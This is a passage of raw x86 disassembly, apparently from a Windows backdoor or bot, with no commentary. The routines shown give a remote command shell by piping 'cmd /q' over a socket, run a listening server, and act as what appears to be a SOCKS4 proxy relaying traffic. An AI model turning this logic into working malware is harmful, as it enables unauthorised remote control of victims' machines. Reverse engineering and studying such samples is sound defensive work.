push [ebp+var_214]
call sub_409869
add esp, 14h
loc_41169A: ; CODE XREF: sub_41144E+22Aj
lea eax, [ebp+var_414]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push ebx
call dword_4CBA6C ; closesocket
call dword_4CB92C ; WSACleanup
push [ebp+var_4C]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop ebx
loc_4116CC: ; DATA XREF: sub_41144E+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_41144E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4116D6 proc near ; CODE XREF: sub_4111C0+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_411827
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43E91C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, ds:dword_427084
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4119F9
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_411741
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435554
call sub_415DAC
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_41177B
; ---------------------------------------------------------------------------
loc_411741: ; CODE XREF: sub_4116D6+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_411AAB
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_411782
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435554
call sub_415DAC
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call ds:dword_4270B4 ; TerminateThread
loc_41177B: ; CODE XREF: sub_4116D6+69j
xor eax, eax
jmp loc_411822
; ---------------------------------------------------------------------------
loc_411782: ; CODE XREF: sub_4116D6+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call ds:dword_427130 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_4117DC
dec eax
jz short loc_4117D6
dec eax
jz short loc_4117C2
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435520
call sub_415DAC
pop ecx
pop ecx
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117C2: ; CODE XREF: sub_4116D6+D5j
mov edi, ds:dword_4270B4
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117D6: ; CODE XREF: sub_4116D6+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_4117E0
; ---------------------------------------------------------------------------
loc_4117DC: ; CODE XREF: sub_4116D6+CFj
push ebx
push dword ptr [esi+14h]
loc_4117E0: ; CODE XREF: sub_4116D6+104j
call ds:dword_4270B4 ; TerminateThread
push 1
push dword ptr [esi+8]
call ds:dword_4270FC ; TerminateProcess
loc_4117F1: ; CODE XREF: sub_4116D6+EAj
; sub_4116D6+FEj
push dword ptr [esi+10h]
mov edi, ds:dword_427070
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call dword_4CBA6C ; closesocket
push esi
call sub_41BA91
pop ecx
push 1
pop eax
loc_411822: ; CODE XREF: sub_4116D6+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_4116D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411827 proc near ; CODE XREF: sub_4116D6+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, edi
jz loc_411911
mov ebx, ds:dword_427108
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, ds:dword_427070
test eax, eax
jnz short loc_41188A
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435604
jmp short loc_4118AA
; ---------------------------------------------------------------------------
loc_41188A: ; CODE XREF: sub_411827+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_4118B2
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4355C4
loc_4118AA: ; CODE XREF: sub_411827+61j
call sub_415DAC
pop ecx
jmp short loc_4118E0
; ---------------------------------------------------------------------------
loc_4118B2: ; CODE XREF: sub_411827+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_411920
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_411915
push offset unk_43559C
call sub_415D38
loc_4118E0: ; CODE XREF: sub_411827+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4118EC
push [ebp+var_4]
call edi ; CloseHandle
loc_4118EC: ; CODE XREF: sub_411827+BEj
cmp [ebp+var_8], 0
jz short loc_4118F7
push [ebp+var_8]
call edi ; CloseHandle
loc_4118F7: ; CODE XREF: sub_411827+C9j
mov eax, [esi]
test eax, eax
jz short loc_411900
push eax
call edi ; CloseHandle
loc_411900: ; CODE XREF: sub_411827+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_41190A
push eax
call edi ; CloseHandle
loc_41190A: ; CODE XREF: sub_411827+DEj
push esi
call sub_41BA91
pop ecx
loc_411911: ; CODE XREF: sub_411827+1Dj
xor eax, eax
jmp short loc_41191B
; ---------------------------------------------------------------------------
loc_411915: ; CODE XREF: sub_411827+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_41191B: ; CODE XREF: sub_411827+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_411827 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411920 proc near ; CODE XREF: sub_411827+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41BF70
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, ds:dword_427104
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call ds:dword_427100 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call ds:dword_427074 ; CreateProcessA
test eax, eax
jz short loc_4119DC
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43E918[eax], ecx
call ds:dword_427070 ; CloseHandle
jmp short loc_4119F2
; ---------------------------------------------------------------------------
loc_4119DC: ; CODE XREF: sub_411920+9Aj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435644
call sub_415DAC
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_4119F2: ; CODE XREF: sub_411920+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_411920 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, ds:dword_4270EC
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411A22: ; CODE XREF: sub_4119F9+8Fj
call ebx ; ReadFile
test eax, eax
jz short loc_411A8A
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_411A5D
loc_411A33: ; CODE XREF: sub_4119F9+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_411A4D
cmp dl, 0Dh
jz short loc_411A4D
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_411A4D: ; CODE XREF: sub_4119F9+44j
; sub_4119F9+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411A33
loc_411A5D: ; CODE XREF: sub_4119F9+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CBA24 ; send
test eax, eax
jle short loc_411A8A
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411A22
; ---------------------------------------------------------------------------
loc_411A8A: ; CODE XREF: sub_4119F9+2Dj
; sub_4119F9+79j
mov esi, ds:dword_427094
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_411AA6
call esi ; RtlGetLastWin32Error
push eax
push offset unk_435684
call sub_415DAC
pop ecx
pop ecx
loc_411AA6: ; CODE XREF: sub_4119F9+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4119F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411AAB proc near ; DATA XREF: sub_4116D6+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_411AC4: ; CODE XREF: sub_411AAB+39j
; sub_411AAB+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CB9EC ; recv
test eax, eax
jle loc_411BC9
cmp [ebp+var_10], ebx
jbe short loc_411AE6
dec [ebp+var_10]
jmp short loc_411AC4
; ---------------------------------------------------------------------------
loc_411AE6: ; CODE XREF: sub_411AAB+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_411BA9
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411B56
cmp al, 7Fh
jz short loc_411B56
cmp al, 3
jnz short loc_411B11
push ebx
push ebx
call ds:dword_427134 ; GenerateConsoleCtrlEvent
jmp short loc_411B7D
; ---------------------------------------------------------------------------
loc_411B11: ; CODE XREF: sub_411AAB+5Aj
cmp al, 15h
jnz short loc_411B33
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B33: ; CODE XREF: sub_411AAB+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_411B6A
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B56: ; CODE XREF: sub_411AAB+52j
; sub_411AAB+56j
cmp esi, ebx
jbe short loc_411B80
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411B69: ; CODE XREF: sub_411AAB+86j
; sub_411AAB+A9j
pop ecx
loc_411B6A: ; CODE XREF: sub_411AAB+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CBA24 ; send
test eax, eax
jle short loc_411BC9
loc_411B7D: ; CODE XREF: sub_411AAB+64j
mov al, byte ptr [ebp+arg_0+3]
loc_411B80: ; CODE XREF: sub_411AAB+ADj
cmp al, 0Dh
jnz loc_411AC4
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call ds:dword_4270F0 ; WriteFile
test eax, eax
jz short loc_411BC9
xor esi, esi
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BA9: ; CODE XREF: sub_411AAB+47j
cmp [ebp+var_C], ebx
jnz short loc_411BBA
mov [ebp+var_C], 1
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BBA: ; CODE XREF: sub_411AAB+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BC9: ; CODE XREF: sub_411AAB+2Bj
; sub_411AAB+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_411AAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411BCE proc near ; DATA XREF: sub_401ACD+2BC4o
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call dword_4CB9D4 ; htons
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_4CBA54 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_43E91C[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4CBA00 ; bind
test eax, eax
jnz loc_411D70
push 0Ah
push edi
call dword_4CB9FC ; listen
test eax, eax
jnz loc_411D70
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset dword_42BC94
push eax
call sub_41C266
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_411CA9
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_409869
add esp, 14h
loc_411CA9: ; CODE XREF: sub_411BCE+B9j
; sub_411BCE+172j ...
lea eax, [ebp+var_2D4]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CBA68 ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_2D4]
push offset dword_435730
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2D4]
push 19h
push eax
call sub_40B3BA
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_43E914[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_411DD3
push esi
push esi
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_43E924[ecx], eax
jz short loc_411D50
loc_411D3D: ; CODE XREF: sub_411BCE+180j
cmp [ebp+var_28], esi
jnz loc_411CA9
push 5
call ds:dword_427080 ; Sleep
jmp short loc_411D3D
; ---------------------------------------------------------------------------
loc_411D50: ; CODE XREF: sub_411BCE+16Dj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D4]
push offset dword_4356F4
push eax
call sub_41C266
add esp, 0Ch
jmp loc_411CA9
; ---------------------------------------------------------------------------
loc_411D70: ; CODE XREF: sub_411BCE+7Bj
; sub_411BCE+8Cj
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset dword_4356C0
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_411DB3
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_409869
add esp, 14h
loc_411DB3: ; CODE XREF: sub_411BCE+1C3j
lea eax, [ebp+var_2D4]
push eax
call sub_415D38
push [ebp+var_3C]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_411BCE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411DD3 proc near ; DATA XREF: sub_411BCE+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_43E91C[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_4CB9BC ; select
test eax, eax
jnz short loc_411E54
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_411E54: ; CODE XREF: sub_411DD3+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_4CB9EC ; recv
test eax, eax
jg short loc_411E85
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_411E85: ; CODE XREF: sub_411DD3+98j
cmp [ebp+var_4D0], 4
jnz loc_41207F
cmp [ebp+var_4CF], 1
jnz loc_41207F
cmp [ebp+var_44], bl
jz short loc_411F1B
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_411F1B
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset dword_4357F8
call sub_415DAC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_41BF70
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_411F1B: ; CODE XREF: sub_411DD3+CFj
; sub_411DD3+E5j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_41BF70
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_411FB3
call dword_4CB968 ; WSAGetLastError
push eax
push offset dword_4357B8
call sub_415DAC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41BF70
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_411FB3: ; CODE XREF: sub_411DD3+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_412022
call dword_4CB968 ; WSAGetLastError
push eax
push offset dword_435774
call sub_415DAC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41BF70
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_412022: ; CODE XREF: sub_411DD3+1F0j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
push edi
call sub_412097
pop ecx
pop ecx
push edi
call dword_4CBA6C ; closesocket
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_41207F: ; CODE XREF: sub_411DD3+B9j
; sub_411DD3+C6j
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
sub_411DD3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412097 proc near ; CODE XREF: sub_411DD3+286p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4120AD: ; CODE XREF: sub_412097+C5j
; sub_412097+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_4120C5: ; CODE XREF: sub_412097+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_4120D5
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4120C5
loc_4120D5: ; CODE XREF: sub_412097+33j
cmp ecx, 1
jnz short loc_4120EA
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_4120EA: ; CODE XREF: sub_412097+41j
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_4CB9BC ; select
lea eax, [ebp+var_104]
push eax
push ebx
call dword_4CB8C0 ; __WSAFDIsSet
test eax, eax
jz short loc_41214A
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_412192
loc_41214A: ; CODE XREF: sub_412097+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_4CB8C0 ; __WSAFDIsSet
test eax, eax
jz loc_4120AD
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz loc_4120AD
loc_412192: ; CODE XREF: sub_412097+9Aj
; sub_412097+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_412097 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412197 proc near ; CODE XREF: sub_412197:loc_4125F0p
; DATA XREF: sub_401ACD+20B3o ...
var_87C = dword ptr -87Ch
var_878 = dword ptr -878h
var_778 = byte ptr -778h
var_578 = byte ptr -578h
var_577 = byte ptr -577h
var_576 = byte ptr -576h
var_575 = byte ptr -575h
var_574 = byte ptr -574h
var_374 = dword ptr -374h
var_370 = byte ptr -370h
var_26C = byte ptr -26Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = byte ptr -15Ch
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D0 = byte ptr -0D0h
var_CF = byte ptr -0CFh
var_CE = byte ptr -0CEh
var_CD = byte ptr -0CDh
var_50 = byte ptr -50h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 87Ch
mov edx, [ebp+arg_0]
push ebx
push esi
push edi
push 1
xor ebx, ebx
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_374]
push ebx
push 2
rep movsd
inc [ebp+var_164]
push 2
mov [ebp+var_10], eax
mov [ebp+var_14], eax
mov [ebp+var_8], eax
mov [edx+2A0h], eax
call dword_4CBA54 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_412237
push 190h
call ds:dword_427080 ; Sleep
cmp [ebp+var_D8], ebx
jnz short loc_412217
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409869
add esp, 14h
loc_412217: ; CODE XREF: sub_412197+5Bj
lea eax, [ebp+var_778]
push eax
call sub_415D38
push [ebp+var_168]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_412237: ; CODE XREF: sub_412197+48j
lea eax, [ebp+var_10]
push 4
push eax
mov edi, 0FFFFh
push 4
push edi
push esi
call dword_4CB9B4 ; setsockopt
lea eax, [ebp+var_14]
push 4
push eax
push 0FFFFFFFBh
push edi
push esi
call dword_4CB9B4 ; setsockopt
mov eax, [ebp+var_168]
push 10h
imul eax, 234h
push ebx
mov dword_43E91C[eax], esi
lea eax, [ebp+var_2C]
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_2C], 2
push [ebp+var_160]
call dword_4CB9D4 ; htons
mov [ebp+var_2A], ax
